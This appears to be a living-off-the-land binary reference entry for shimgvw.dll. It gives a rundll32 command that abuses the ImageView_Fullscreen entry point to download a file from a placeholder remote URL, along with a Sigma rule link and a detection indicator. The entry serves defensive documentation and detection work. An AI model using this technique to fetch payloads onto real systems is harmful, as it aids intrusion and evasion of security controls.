Photo Gallery Viewer Located at: c:\windows\system32\shimgvw.dll; c:\windows\syswow64\shimgvw.dll.
shimgvwshimgvwSandbox: execFile · Timeout: 30s
network.transfer.download Outputs
process.output Command execution output
network_traffic Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | medium |
| Disk I/O | low |
Once executed, rundll32.exe will download the file at the URL in the command to INetCache. Can also be used with entrypoint 'ImageView_FullscreenA'. (Download file from remote location.)
rundll32.exe c:\Windows\System32\shimgvw.dll,ImageView_Fullscreen {REMOTEURL:.exe}| Type | Rule / Indicator |
|---|---|
| sigma | https://github.com/SigmaHQ/sigma/blob/e1a713d264ac072bb76b5c4e5f41315a015d3f41/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml |
| ioc | Execution of rundll32.exe with 'ImageView_Fullscreen' and a protocol handler ('://') on the command line |
shimgvw is a Windows LOLBin. Photo Gallery Viewer Located at: c:\windows\system32\shimgvw.dll; c:\windows\syswow64\shimgvw.dll.